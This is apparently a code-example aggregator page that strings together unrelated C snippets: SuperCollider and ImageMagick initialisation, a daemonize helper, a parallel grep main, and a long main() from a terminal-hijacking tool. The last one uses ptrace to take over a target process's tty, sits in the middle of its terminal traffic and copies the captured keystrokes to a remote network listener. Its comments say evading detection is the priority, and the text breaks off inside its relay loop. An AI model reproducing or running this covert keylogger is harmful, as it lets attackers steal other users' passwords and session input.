		world->mRendezvous = inOptions->mRendezvous;

		world->mRestrictedPath = inOptions->mRestrictedPath;

		sc_SetDenormalFlags();

		if (world->mRealTime) {
			hw->mAudioDriver = SC_NewAudioDriver(world);
			hw->mAudioDriver->SetPreferredHardwareBufferFrameSize(
					inOptions->mPreferredHardwareBufferFrameSize
			);
			hw->mAudioDriver->SetPreferredSampleRate(
					inOptions->mPreferredSampleRate
			);

			if (inOptions->mLoadGraphDefs) {
				World_LoadGraphDefs(world);
			}

			if (!hw->mAudioDriver->Setup()) {
				scprintf("could not initialize audio.\n");
				return 0;
			}
			if (!hw->mAudioDriver->Start()) {
				scprintf("start audio failed.\n");
				return 0;
			}
			
#ifdef __APPLE__
			SC::Apple::disableAppNap();
#endif
			
			
		} else {
			hw->mAudioDriver = 0;
		}

		scsynth::startAsioThread();
	} catch (std::exception& exc) {
		scprintf("Exception in World_New: %s\n", exc.what());
		World_Cleanup(world,true);
		return 0;
	} catch (...) {
	}
	return world;
}
示例#9
0
MagickExport MagickBooleanType ResourceComponentGenesis(void)
{
  char
    *limit;

  ssize_t
    files,
    pages,
    pagesize;

  MagickSizeType
    memory;

  /*
    Set Magick resource limits.
  */
  AcquireSemaphoreInfo(&resource_semaphore);
  pagesize=GetMagickPageSize();
  pages=(-1);
#if defined(MAGICKCORE_HAVE_SYSCONF) && defined(_SC_PHYS_PAGES)
  pages=(ssize_t) sysconf(_SC_PHYS_PAGES);
#endif
  memory=(MagickSizeType) pages*pagesize;
  if ((pagesize <= 0) || (pages <= 0))
    memory=2048UL*1024UL*1024UL;
#if defined(PixelCacheThreshold)
  memory=PixelCacheThreshold;
#endif
  (void) SetMagickResourceLimit(AreaResource,2*memory/sizeof(PixelPacket));
  (void) SetMagickResourceLimit(MemoryResource,memory);
  (void) SetMagickResourceLimit(MapResource,2*memory);
  limit=GetEnvironmentValue("MAGICK_AREA_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("area");
  if (limit != (char *) NULL)
    {
      (void) SetMagickResourceLimit(AreaResource,StringToSizeType(limit,100.0));
      limit=DestroyString(limit);
    }
  limit=GetEnvironmentValue("MAGICK_MEMORY_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("memory");
  if (limit != (char *) NULL)
    {
      (void) SetMagickResourceLimit(MemoryResource,
        StringToSizeType(limit,100.0));
      limit=DestroyString(limit);
    }
  limit=GetEnvironmentValue("MAGICK_MAP_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("map");
  if (limit != (char *) NULL)
    {
      (void) SetMagickResourceLimit(MapResource,StringToSizeType(limit,100.0));
      limit=DestroyString(limit);
    }
  limit=GetEnvironmentValue("MAGICK_DISK_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("disk");
  if (limit != (char *) NULL)
    {
      (void) SetMagickResourceLimit(DiskResource,StringToSizeType(limit,100.0));
      limit=DestroyString(limit);
    }
  files=(-1);
#if defined(MAGICKCORE_HAVE_SYSCONF) && defined(_SC_OPEN_MAX)
  files=(ssize_t) sysconf(_SC_OPEN_MAX);
#endif
#if defined(MAGICKCORE_HAVE_GETRLIMIT) && defined(RLIMIT_NOFILE)
  if (files < 0)
    {
      struct rlimit
        resources;

      if (getrlimit(RLIMIT_NOFILE,&resources) != -1)
        files=(ssize_t) resources.rlim_cur;
  }
#endif
#if defined(MAGICKCORE_HAVE_GETDTABLESIZE) && defined(MAGICKCORE_POSIX_SUPPORT)
  if (files < 0)
    files=(ssize_t) getdtablesize();
#endif
  if (files < 0)
    files=64;
  (void) SetMagickResourceLimit(FileResource,MagickMax((size_t)
    (3*files/4),64));
  limit=GetEnvironmentValue("MAGICK_FILE_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("file");
  if (limit != (char *) NULL)
    {
      (void) SetMagickResourceLimit(FileResource,StringToSizeType(limit,100.0));
      limit=DestroyString(limit);
    }
  (void) SetMagickResourceLimit(ThreadResource,GetOpenMPMaximumThreads());
  limit=GetEnvironmentValue("MAGICK_THREAD_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("thread");
  if (limit != (char *) NULL)
    {
      SetOpenMPMaximumThreads((int) StringToUnsignedLong(limit));
      (void) SetMagickResourceLimit(ThreadResource,StringToSizeType(limit,
        100.0));
      limit=DestroyString(limit);
    }
  limit=GetEnvironmentValue("MAGICK_TIME_LIMIT");
  if (limit == (char *) NULL)
    limit=GetPolicyValue("time");
  if (limit != (char *) NULL)
    {
      (void) SetMagickResourceLimit(TimeResource,StringToSizeType(limit,100.0));
      limit=DestroyString(limit);
    }
  return(MagickTrue);
}
示例#10
0
文件: init.c 项目: xhx1993/c-learning
void
daemonize(const char *cmd)
{
	int i, fd0, fd1, fd2;
	pid_t pid;
	struct rlimit rl;
	struct sigaction sa;

	/*
     * Clear file creation mask.
     */
	umask(0);

	
	/*
	 * Get maximum number of file descriptiors.
	 */
	if (getrlimit(RLIMIT_NOFILE, &rl) < 0)
		err_quit("%s: can't get file limit", cmd);

	/*
     * Become a session leader to lose controlling TTY.
     */
	if ((pid = fork()) < 0)
		err_quit("%s: can't fork", cmd);
	else if (pid != 0) /* parent */
		exit(0);
	setsid();  

	/*
     * Ensure future opens won't allocate controlling TTYs.
     */
	sa.sa_handler = SIG_IGN;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;
	if (sigaction(SIGHUP, &sa, NULL) < 0)
		err_quit("%s: can't ignore SIGHUP", cmd);
	if ((pid = fork()) < 0)
		err_quit("%s: can't fork", cmd);
	else if (pid != 0) /* parent */
		exit(0);

	/*
	 * Change the current working directory to the root so
	 * we don't prevent file systems from being unmounted.
	 */
	if (chdir("/") < 0)
		err_quit("%s: can't change directory to /", cmd);

	/*
	 * Close all open file descriptors.
	 */
	if (rl.rlim_max == RLIM_INFINITY)
		rl.rlim_max = 1024;
	for (i = 0; i < rl.rlim_max; i++)
		close(i);

	/*
     * Attach file descriptors 0, 1, and 2 to /dev/null
     */
	fd0 = open("dev/null", O_RDWR);
	fd1 = dup(0);
	fd2 = dup(0);

	/*
     * Initialize the log file.
     */
	openlog(cmd, LOG_CONS, LOG_DAEMON);
	if (fd0 != 0 || fd1 != 1 || fd2 != 2)
	{
		syslog(LOG_ERR, "unexpected file descriptors %d %d %d",
			fd0, fd1, fd2);
		exit(1);
	}
}
示例#11
0
int
main(int argc,
     char *argv[])
{
    int i, j;
    struct rlimit rlb;
    char *arg;
    pthread_t tid;
    pthread_attr_t pab;
    
    
    argv0 = argv[0];
    
    setlocale(LC_CTYPE, "");
    
    getrlimit(RLIMIT_NOFILE, &rlb);
    rlb.rlim_cur = rlb.rlim_max;
    setrlimit(RLIMIT_NOFILE, &rlb);
    
    signal(SIGPIPE, SIG_IGN);
    
    nworkers = 2;
    
    pthread_mutex_init(&print_lock, NULL);
    pthread_mutex_init(&aworker_lock, NULL);
    pthread_mutex_init(&matches_lock, NULL);
    
    for (i = 1; i < argc && argv[i][0] == '-'; i++)
        for (j = 1; j > 0 && argv[i][j]; ++j)
            switch (argv[i][j])
	    {
            case '-':
                ++i;
                goto EndOptions;
                
            case 'V':
                print_version(stdout);
                break;
                
            case 'd':
                ++debug;
                break;
                
            case 'i':
                ignore_case = 1;
                break;
                
            case 'v':
                ++verbose;
                break;
                
            case 'h':
                usage(stdout);
                exit(0);
                
            case 'l':
                ++line_f;
                break;
                
            case 'L':
                if (argv[i][2])
                    arg = argv[i]+2;
                else
                    arg = argv[++i];
                
                if (!arg || sscanf(arg, "%u", &maxlen) != 1)
                {
                    fprintf(stderr, "%s: Invalid length specification: %s\n",
                            argv[0], arg ? arg : "<null>");
                    exit(1);
                }
                j = -2;
                break;
                
            case 'n':
                if (argv[i][2])
                    arg = argv[i]+2;
                else
                    arg = argv[++i];
                
                if (!arg || sscanf(arg, "%u", &nworkers) != 1)
                {
                    fprintf(stderr,
                            "%s: Invalid workers specification: %s\n",
                            argv[0], arg ? arg : "<null>");
                    exit(1);
                }
                j = -2;
                break;
                
            default:
                fprintf(stderr, "%s: unknown command line switch: -%c\n",
                        argv[0], argv[i][j]);
                exit(1);
	    }
    
EndOptions:
    
    rstr = mystrdup(argv[i++]);
    rlen = deslash(rstr);
    
    if (bm_init(&bmb, rstr, rlen, ignore_case) < 0)
    {
        fprintf(stderr, "%s: Failed search string setup: %s\n",
                argv[0], rstr);
        exit(1);
    }
    
    max_depth = rlb.rlim_max - nworkers - 16;
    
    if (debug)
        fprintf(stderr, "max_depth = %d, nworkers = %d\n", max_depth,
                nworkers);
    
    klee_make_symbolic(&pqb, sizeof(pqb), "pqueue");
    pqueue_init(&pqb, nworkers + 8);
    
    pthread_attr_init(&pab);
    pthread_attr_setscope(&pab, PTHREAD_SCOPE_SYSTEM);
    
    aworkers = nworkers;
    
    for (j = 0; j < nworkers; ++j){
        int succ = pthread_create(&tid, &pab, worker, NULL);
    
        if (succ != 0)
        {
            fprintf(stderr, "%s: pthread_create: failed to create worker thread\n",
                    argv[0]);
            exit(1);
        }
    }
    
    while (i < argc && do_ftw(argv[i++]) == 0)
        ;
    
    pqueue_close(&pqb);
    
    if (debug)
        fprintf(stderr, "Waiting for workers to finish...\n");
    
    pthread_mutex_lock(&aworker_lock);
    while (aworkers > 0)
        pthread_cond_wait(&aworker_cv, &aworker_lock);
    pthread_mutex_unlock(&aworker_lock);
    
    if (debug)
        fprintf(stderr, "n_files = %d, n_matches = %d, n_workers = %d, n_Mbytes = %d\n",
                n_files, n_matches, nworkers,
                (int) (n_bytes / 1000000));
    
    return n_matches;
}
示例#12
0
int main(int argc, char **argv){

	int i, retval;
	int opt;
	int retcode = 0;
	int tmp_fd, fd_max;
	int ptrace_error;
	int original_tty_fd, new_tty_fd;
	int bytes_read;
	int tmp_flag;
	int current_sig;
	int target_pid;
	int target_fd_count, *target_fds = NULL;
	int fcntl_flags;

	char *hostname_index;	
	char scratch[LOCAL_BUFFER_LEN];
	char *remote_scratch = NULL;
	char char_read;
	char *tmp_ptr;
	char *tty_name;

	struct addrinfo addrinfo_hint, *addrinfo_result, *addrinfo_ptr;
	struct ptrace_do *target;
	struct termios saved_termios_attrs, new_termios_attrs;
	struct sockaddr sa;
	struct sigaction act, oldact;
	struct winsize argp;

	struct stat tty_info;

	socklen_t sa_len;
	fd_set fd_select;
	pid_t sig_pid;
	
	void *remote_addr;

	struct rlimit fd_limit;

	char *filename = NULL;
	char *hostname = NULL;

 while ((opt = getopt(argc, argv, "f:n:")) != -1) {

    switch (opt) {
      case 'f':
        filename = optarg;
        break;

      case 'n':
        hostname = optarg;
        break;

      case 'h':
      default:
        usage();
    }
  }

	if((argc - optind) != 1){
		usage();
	}

	if((filename && hostname) || !(filename || hostname)){
		usage();
	}

	hostname_index = NULL;
	if(hostname){
		if((hostname_index = index(hostname, ':')) == NULL){
			usage();
		}
		*hostname_index = '\0';
		hostname_index++;
	}

	if(!(target_pid = strtol(argv[optind], NULL, 10))){
		usage();
	}

	/*
	 * We're going to mess around with hijacking the tty for a login shell. SIGHUP is a certainty.
	 */
	signal(SIGHUP, SIG_IGN);

	/*
	 *	We aren't *really* a daemon, because we will end up with a controlling tty.
	 *	However, we will act daemon-like otherwise. Lets do those daemon-like things now.
	 */

	umask(0);

	if((retval = fork()) == -1){
		error(-1, errno, "fork()");
	}

	if(retval){
		return(0);
	}

	if((int) (retval = setsid()) == -1){
		error(-1, errno, "setsid()");
	}

	if((retval = chdir("/")) == -1){
		error(-1, errno, "chdir(\"/\")");
	}

	if((retval = getrlimit(RLIMIT_NOFILE, &fd_limit))){
		error(-1, errno, "getrlimit(RLIMIT_NOFILE, %lx)", (unsigned long) &fd_limit);
	}


	// Lets close any file descriptors we may have inherited.
	for(i = 0; i < (int) fd_limit.rlim_max; i++){
		if(i != STDERR_FILENO){
			close(i);
		}
	}


	/*************************************************************
	 * Connect to the listener and set up stdout and stderr
	 *************************************************************/

	addrinfo_ptr = NULL;
	if(hostname){
		memset(&addrinfo_hint, 0, sizeof(struct addrinfo));
		addrinfo_hint.ai_family = AF_UNSPEC;
		addrinfo_hint.ai_socktype = SOCK_STREAM;

		if((retval = getaddrinfo(hostname, hostname_index, &addrinfo_hint, &addrinfo_result))){
			error(-1, 0, "getaddrinfo(%s, %s, %d, %lx): %s", \
					hostname, hostname_index, 0, (unsigned long) &addrinfo_result, gai_strerror(retval));
		}

		for(addrinfo_ptr = addrinfo_result; addrinfo_ptr != NULL; addrinfo_ptr = addrinfo_ptr->ai_next){

			if((tmp_fd = socket(addrinfo_ptr->ai_family, addrinfo_ptr->ai_socktype, addrinfo_ptr->ai_protocol)) == -1){
				continue;
			}

			if((retval = connect(tmp_fd, addrinfo_ptr->ai_addr, addrinfo_ptr->ai_addrlen)) != -1){
				break;
			}

			close(tmp_fd);
		}

		if(addrinfo_ptr == NULL){
			error(-1, 0, "Unable to connect to %s:%s. Quiting.", hostname, hostname_index);
		}

		/*
		 * We will set the socket non-blocking. If the connection dies, the remote 
		 * write() shouldn't block or cause an exit(). We *may* lose data, but not being
		 * detected is the priority here.
		 */
		if((fcntl_flags = fcntl(tmp_fd, F_GETFL, 0)) == -1){
			error(-1, errno, "fcntl(%d, FGETFL, 0)", tmp_fd);
		}

		fcntl_flags |= O_NONBLOCK;
		if((retval = fcntl(tmp_fd, F_SETFL, fcntl_flags)) == -1){
			error(-1, errno, "fcntl(%d, FSETFL, %d)", tmp_fd, fcntl_flags);
		}

	}else if(filename){

		if((tmp_fd = open(filename, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR)) == -1){
			error(-1, 0, "Unable to open file: %s  Quiting.", filename);
		}

	}else{
		error(-1, 0, "No listener (network or file) specified. Quitting. (Should not be here!)");
	}


	if((retval = close(STDERR_FILENO)) == -1){
		error(-1, errno, "close(%d)", STDERR_FILENO);
	}

	if((retval = dup2(tmp_fd, STDERR_FILENO)) == -1){
		error(-1, errno, "dup2(%d, %d)", tmp_fd, STDERR_FILENO);
	}

	if((retval = dup2(tmp_fd, STDOUT_FILENO)) == -1){
		error(-1, errno, "dup2(%d, %d)", tmp_fd, STDOUT_FILENO);
	}


	/*
	 * This helps with a race condition if being launched out of the target's .profile in order 
	 * to attack the login shell. Apparently, bash sources the .profile *before* it configures the tty.
	 */
	sleep(ATTATCH_DELAY);

	/***************************************
	 * Print out some initialization data. *
	 ***************************************/
	memset(scratch, 0, LOCAL_BUFFER_LEN);
	if((retval = gethostname(scratch, LOCAL_BUFFER_LEN)) == -1){
		error(-1, errno, "gethostname(%lx, %d)", (unsigned long) scratch, LOCAL_BUFFER_LEN);
	}

	printf("################################\n");
	printf("# hostname: %s\n", scratch);

	if(hostname){
		memset(&sa, 0, sizeof(sa));
		sa_len = sizeof(sa);
		if((retval = getsockname(tmp_fd, &sa, &sa_len)) == -1){
			error(-1, errno, "getsockname(%d, %lx, %lx)", tmp_fd, (unsigned long) &sa, (unsigned long) &sa_len);
		}

		memset(scratch, 0, LOCAL_BUFFER_LEN);
		switch(addrinfo_ptr->ai_family){
			case AF_INET:
				if(inet_ntop(addrinfo_ptr->ai_family, &(((struct sockaddr_in *) &sa)->sin_addr), scratch, LOCAL_BUFFER_LEN) == NULL){
					error(-1, errno, "inet_ntop(%d, %lx, %lx, %d)", addrinfo_ptr->ai_family, (unsigned long) &(sa.sa_data), (unsigned long) scratch, LOCAL_BUFFER_LEN);
				}
				break;

			case AF_INET6:
				if(inet_ntop(addrinfo_ptr->ai_family, &(((struct sockaddr_in6 *) &sa)->sin6_addr), scratch, LOCAL_BUFFER_LEN) == NULL){
					error(-1, errno, "inet_ntop(%d, %lx, %lx, %d)", addrinfo_ptr->ai_family, (unsigned long) &(sa.sa_data), (unsigned long) scratch, LOCAL_BUFFER_LEN);
				}
				break;

			default:
				error(-1, 0, "unknown ai_family: %d\n", addrinfo_ptr->ai_family);
		}
		printf("# ip address: %s\n", scratch);

		freeaddrinfo(addrinfo_result);
	}

	if((retval = close(tmp_fd)) == -1){
		error(-1, errno, "close(%d)", tmp_fd);
	}

	printf("# username: %s\n", getenv("LOGNAME"));

	printf("################################\n");
	fflush(stdout);



	/**************************************
	 * Open the original tty for our use. *
	 **************************************/
	if((tty_name = ctty_get_name(target_pid)) == NULL){
		error(-1, errno, "ctty_get_name(%d)", target_pid);
	}

	if((target_fd_count = ctty_get_fds(target_pid, tty_name, &target_fds)) == -1){
		error(-1, errno, "ctty_get_fds(%d, %s, %lx)", target_pid, tty_name, (unsigned long) &target_fds);
	}

	if((original_tty_fd = open(tty_name, O_RDWR|O_NOCTTY)) == -1){
		error(-1, errno, "open(%s, %d)", tty_name, O_RDWR);
	}

	if((retval = fstat(original_tty_fd, &tty_info)) == -1){
		error(-1, errno, "fstat(%d, %lx)", original_tty_fd, (unsigned long) &tty_info);
	}

	if((retval = tcgetattr(original_tty_fd, &saved_termios_attrs)) == -1){
		error(-1, errno, "tcgetattr(%d, %lx)", original_tty_fd, (unsigned long) &saved_termios_attrs);
	}


	/******************************
	 * Setup our master terminal. *
	 ******************************/

	if((new_tty_fd = posix_openpt(O_RDWR)) == -1){
		error(-1, errno, "posix_openpt(%d)", O_RDWR);
	}

	if(grantpt(new_tty_fd)){
		error(-1, errno, "grantpt(%d)", new_tty_fd);
	}

	if(unlockpt(new_tty_fd)){
		error(-1, errno, "unlockpt(%d)", new_tty_fd);
	}

	if((retval = tcsetattr(new_tty_fd, TCSANOW, &saved_termios_attrs)) == -1){
		error(-1, errno, "tcgetattr(%d, %lx)", new_tty_fd, (unsigned long) &saved_termios_attrs);
	}


	/***************************************************************************
	 * Hook into the target process and mangle the target's fds appropriately. *
	 ***************************************************************************/
	ptrace_error = 0;
	if((target = ptrace_do_init(target_pid)) == NULL){
		error(0, errno, "ptrace_do_init(%d)", target_pid);

		ptrace_error = 1;
		goto CLEAN_UP;
	}	

	for(i = 0; i < target_fd_count; i++){
		if(!i){

			/*
			 * Quoted from linux/drivers/tty/tty_io.c (kernel source), regarding disassociate_ctty():
			 *  It performs the following functions:
			 *  (1)  Sends a SIGHUP and SIGCONT to the foreground process group
			 *  (2)  Clears the tty from being controlling the session
			 *  (3)  Clears the controlling tty for all processes in the
			 *    session group.
			 */
			ptrace_do_sig_ignore(target, SIGHUP);
			ptrace_do_sig_ignore(target, SIGCONT);

			retval = (int) ptrace_do_syscall(target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0);
			if(errno){
				error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \
						(unsigned long) target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); 
				ptrace_error = 1;
				goto CLEAN_UP;
			}else if(retval < 0){
				error(0, -retval, "remote ioctl(%d, %d)", target_fds[i], TIOCNOTTY);
				ptrace_error = 1;
				goto CLEAN_UP;
			}

			/* Now set original tty as our ctty in the local context. */
			if((retval = ioctl(original_tty_fd, TIOCSCTTY, 1)) == -1){
				error(0, errno, "ioctl(%d, %d, %d)", original_tty_fd, TIOCSCTTY, 1);
				ptrace_error = 1;
				goto CLEAN_UP;
			}
		}

		retval = (int) ptrace_do_syscall(target, __NR_close, target_fds[i], 0, 0, 0, 0, 0);
		if(errno){
			error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \
					(unsigned long) target, __NR_close, target_fds[i], 0, 0, 0, 0, 0);
			ptrace_error = 1;
			goto CLEAN_UP;
		}else if(retval < 0){
			error(0, -retval, "remote close(%d)", target_fds[i]);
			ptrace_error = 1;
			goto CLEAN_UP;
		}
	}

	if((remote_scratch = (char *) ptrace_do_malloc(target, READLINE_BUFFER_LEN)) == NULL){
		error(0, errno, "ptrace_do_malloc(%lx, %d)", \
				(unsigned long) target, READLINE_BUFFER_LEN);
		ptrace_error = 1;
		goto CLEAN_UP;
	}	
	memset(remote_scratch, 0, READLINE_BUFFER_LEN);

	if(!(tmp_ptr = ptsname(new_tty_fd))){
		error(-1, errno, "ptsname(%d)", new_tty_fd);
	}

	// If we are running as root, make sure to chmod the new tty to the match the old one.
	if(!getuid()){
		if((retval = chown(tmp_ptr, tty_info.st_uid, -1)) == -1){
			error(-1, errno, "chown(%s, %d, %d)", tmp_ptr, tty_info.st_uid, -1);
		}
	}

	memcpy(remote_scratch, tmp_ptr, strlen(tmp_ptr));

	if((remote_addr = ptrace_do_push_mem(target, remote_scratch)) == NULL){
		error(0, errno, "ptrace_do_push_mem(%lx, %lx)", \
				(unsigned long) target, (unsigned long) remote_scratch);
		ptrace_error = 1;
		goto CLEAN_UP;
	}

	retval = (int) ptrace_do_syscall(target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0);
	if(errno){
		error(0, errno, "ptrace_do_syscall(%lx, %d, %lx, %d, %d, %d, %d, %d)", \
				(unsigned long) target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0);
		ptrace_error = 1;
		goto CLEAN_UP;
	}else if(retval < 0){
		error(0, -retval, "remote open(%lx, %d)", (unsigned long) remote_addr, O_RDWR);
		ptrace_error = 1;
		goto CLEAN_UP;
	}
	tmp_fd = retval;

	tmp_flag = 0;
	for(i = 0; i < target_fd_count; i++){

		if(target_fds[i] == tmp_fd){
			tmp_flag = 1;
		}else{

			retval = (int) ptrace_do_syscall(target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0);
			if(errno){
				error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \
						(unsigned long) target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0);
				ptrace_error = 1;
				goto CLEAN_UP;
			}else if(retval < 0){
				error(0, -retval, "remote dup2(%d, %d)", tmp_fd, target_fds[i]);
				ptrace_error = 1;
				goto CLEAN_UP;
			}
		}
	}

	if(!tmp_flag){
		retval = (int) ptrace_do_syscall(target, __NR_close, tmp_fd, 0, 0, 0, 0, 0);
		if(errno){
			error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \
					(unsigned long) target, __NR_close, tmp_fd, 0, 0, 0, 0, 0);
			ptrace_error = 1;
			goto CLEAN_UP;
		}else if(retval < 0){
			error(0, -retval, "remote close(%d)", tmp_fd);
			ptrace_error = 1;
			goto CLEAN_UP;
		}
	}


CLEAN_UP:
	ptrace_do_cleanup(target);

	if(ptrace_error){
		error(-1, 0, "Fatal error from ptrace_do. Quitting.");
	}


	/**************************************************
	 * Set the original tty to raw mode.
	 **************************************************/
	memcpy(&new_termios_attrs, &saved_termios_attrs, sizeof(struct termios));

	new_termios_attrs.c_lflag &= ~(ECHO|ICANON|IEXTEN|ISIG);
	new_termios_attrs.c_iflag &= ~(BRKINT|ICRNL|INPCK|ISTRIP|IXON);
	new_termios_attrs.c_cflag &= ~(CSIZE|PARENB);
	new_termios_attrs.c_cflag |= CS8;
	new_termios_attrs.c_oflag &= ~(OPOST);

	new_termios_attrs.c_cc[VMIN] = 1;
	new_termios_attrs.c_cc[VTIME] = 0;

	if((retval = tcsetattr(original_tty_fd, TCSANOW, &new_termios_attrs)) == -1){
		error(-1, errno, "tcsetattr(%d, TCSANOW, %lx)", \
				original_tty_fd, (unsigned long) &new_termios_attrs);
	}


	/**************************************************
	 * Set the signals for appropriate mitm handling. *
	 **************************************************/

	memset(&act, 0, sizeof(act));
	memset(&oldact, 0, sizeof(oldact));
	act.sa_handler = signal_handler;

	if((retval = sigaction(SIGHUP, &act, &oldact)) == -1){
		fprintf(stderr, "%s: sigaction(%d, %lx, %lx): %s\n", \
				program_invocation_short_name, \
				SIGHUP, (unsigned long) &act, (unsigned long) &oldact, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}
	if((retval = sigaction(SIGINT, &act, NULL)) == -1){
		fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \
				program_invocation_short_name, \
				SIGINT, (unsigned long) &act, NULL, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}
	if((retval = sigaction(SIGQUIT, &act, NULL)) == -1){
		fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \
				program_invocation_short_name, \
				SIGQUIT, (unsigned long) &act, NULL, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}
	if((retval = sigaction(SIGTSTP, &act, NULL)) == -1){
		fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \
				program_invocation_short_name, \
				SIGTSTP, (unsigned long) &act, NULL, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}
	if((retval = sigaction(SIGWINCH, &act, NULL)) == -1){
		fprintf(stderr, "%s: sigaction(%d, %lx, %p: %s)", \
				program_invocation_short_name, \
				SIGWINCH, (unsigned long) &act, NULL, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}

	/*
	 *	The current TIOCGWINSZ for the new terminal will be incorrect at this point.
	 *	Lets force an initial SIGWINCH to ensure it gets set appropriately.
	 */
	if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){
		fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \
				program_invocation_short_name, \
				original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}

	if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){
		fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \
				program_invocation_short_name, \
				original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}

	if((retval = kill(-target_pid, SIGWINCH)) == -1){
		fprintf(stderr, "%s: kill(%d, %d): %s\n", \
				program_invocation_short_name, \
				-target_pid, SIGWINCH, \
				strerror(errno));
		retcode = -errno;
		goto RESET_TERM;
	}


	/****************************** 
	 * Mitm the terminal traffic. *
	 ******************************/

	fd_max = (new_tty_fd > original_tty_fd) ? new_tty_fd : original_tty_fd;
	char_read = '\r';

	while(1){
		FD_ZERO(&fd_select);
		FD_SET(new_tty_fd, &fd_select);
		FD_SET(original_tty_fd, &fd_select);

		if(((retval = select(fd_max + 1, &fd_select, NULL, NULL, NULL)) == -1) && !sig_found){
			fprintf(stderr, "%s: select(%d, %lx, %p, %p, %p): %s\n", \
					program_invocation_short_name, \
					fd_max + 1, (unsigned long) &fd_select, NULL, NULL, NULL, \
					strerror(errno));
			retcode = -errno;
			goto RESET_TERM;
		}

		if(sig_found){

			/* Minimize the risk of more signals being delivered while we are already handling signals. */
			current_sig = sig_found;
			sig_found = 0;

			switch(current_sig){

				/*
				 * Signals we want to handle:
				 *	SIGHUP -> Send SIGHUP to the target session, restore our SIGHUP to default, then resend to ourselves.
				 *	SIGINT -> Send SIGINT to the current target foreground job.
				 *	SIGQUIT -> Send SIGQUIT to the current target foreground job.
				 *	SIGTSTP -> Send SIGTSTP to the current target foreground job.
				 *	SIGWINCH -> Grab TIOCGWINSZ from old tty. Set TIOCSWINSZ for new tty. Send SIGWINCH to the current target session.
				 */
				case SIGHUP:

					if((retval = kill(-target_pid, current_sig)) == -1){
						fprintf(stderr, "%s: kill(%d, %d): %s\n", \
								program_invocation_short_name, \
								-target_pid, current_sig, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}

					if((retval = sigaction(current_sig, &oldact, NULL)) == -1){
						fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \
								program_invocation_short_name, \
								current_sig, (unsigned long) &oldact, NULL, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}

					if((retval = raise(current_sig)) != 0){
						fprintf(stderr, "%s: raise(%d): %s\n", \
								program_invocation_short_name, \
								current_sig, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}
					break;

				case SIGINT:
				case SIGQUIT:
				case SIGTSTP:

					if((sig_pid = tcgetpgrp(new_tty_fd)) == -1){
						fprintf(stderr, "%s: tcgetpgrp(%d): %s\n", \
								program_invocation_short_name, \
								new_tty_fd, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}

					if((retval = kill(-sig_pid, current_sig)) == -1){
						fprintf(stderr, "%s: kill(%d, %d): %s", \
								program_invocation_short_name, \
								sig_pid, current_sig, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}
					break;

				case SIGWINCH: 
					if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){
						fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \
								program_invocation_short_name, \
								original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}

					if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){
						fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \
								program_invocation_short_name, \
								original_tty_fd, TIOCSWINSZ, (unsigned long) &argp, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}

					if((retval = kill(-target_pid, current_sig)) == -1){
						fprintf(stderr, "%s: kill(%d, %d): %s", \
								program_invocation_short_name, \
								-target_pid, current_sig, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}
					break;

				default:
					fprintf(stderr, "%s: Undefined signal found: %d", \
							program_invocation_short_name, \
							current_sig);
					retcode = -errno;
					goto RESET_TERM;
			}

			current_sig = 0;

			/*
			 * From here on out, we pass chars back and forth, while copying them off
			 * to the remote listener. The "char_read" hack is a cheap way to watch for
			 * a "no echo" situation. (Bash keeps its own state for the tty and lies to
			 * the user about echo on vs echo off. On the back end it's always raw mode. 
			 * I suspect this is a natural result of using the GNU readline library.)
			 */
		}else if(FD_ISSET(original_tty_fd, &fd_select)){

			memset(scratch, 0, sizeof(scratch));
